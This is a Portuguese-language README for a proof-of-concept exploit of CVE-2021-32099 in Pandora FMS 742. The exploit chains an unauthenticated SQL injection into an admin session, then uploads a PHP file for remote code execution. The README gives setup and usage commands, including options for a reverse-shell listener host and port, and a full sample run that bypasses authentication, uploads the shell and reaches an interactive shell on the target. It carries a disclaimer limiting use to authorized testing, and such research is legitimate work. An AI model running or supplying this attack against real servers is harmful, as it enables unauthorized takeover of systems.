
PoC para CVE-2021-32099
Este repositório fornece um exploit de Prova de Conceito (PoC) para a vulnerabilidade CVE-2021-32099, que afeta Pandora FMS 742. O exploit demonstra como um atacante não autenticado pode explorar uma vulnerabilidade de injeção de SQL para elevar uma sessão sem privilégios a uma conta de nível administrador. Com acesso administrativo, o atacante pode enviar um arquivo PHP arbitrário por meio do Gerenciador de Arquivos do Pandora FMS, resultando em execução remota de código e comprometendo o servidor como o usuário do servidor web.
Este projeto destina-se apenas a fins educacionais, de pesquisa e de testes de segurança autorizados.
Não use este código em sistemas que você não possui ou para os quais não tem permissão explícita para testar.
O autor não se responsabiliza por qualquer dano ou uso indevido.
python3 -m venv .venv && source .venv/bin/activate && pip install -r requirements.txt
┌───(magicrc㉿perun)-[~/code/CVE-2021-32099]
└─$ python3 ./CVE-2021-32099.py
usage: python3 ./CVE-2021-32099.py [--target TARGET] [--lhost LHOST] [--lport LPORT]
options:
--target TARGET Full URL of the vulnerable Pandora FMS instance.
--lhost LHOST IP address where the reverse shell will connect back to (must be reachable by the target). The listener will bind to 0.0.0.0 internally.
--lport LPORT Port number the reverse shell listener will bind to.
Example: python3 ./CVE-2021-32099.py --target http://target.com --lhost 10.10.14.157 --lport 4444
┌───(magicrc㉿perun)-[~/code/CVE-2021-32099]
└─$ python3 ./CVE-2021-32099.py --target http://localhost --lhost 10.10.14.81 --lport 4444
[+] Bypassing authentication...OK
[+] Uploading reverse shell...OK
[+] Trying to bind to :: on port 4444: Done
[+] Waiting for connections on :::4444: Got connection from ::ffff:10.129.177.29 on port 37308
[+] Executing reverse shell...
[*] Switching to interactive mode
Linux pandora 5.4.0-91-generic #102-Ubuntu SMP Fri Nov 5 16:31:28 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
06:59:07 up 17:30, 0 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=1000(matt) gid=1000(matt) groups=1000(matt)
/bin/sh: 0: can't access tty; job control turned off
$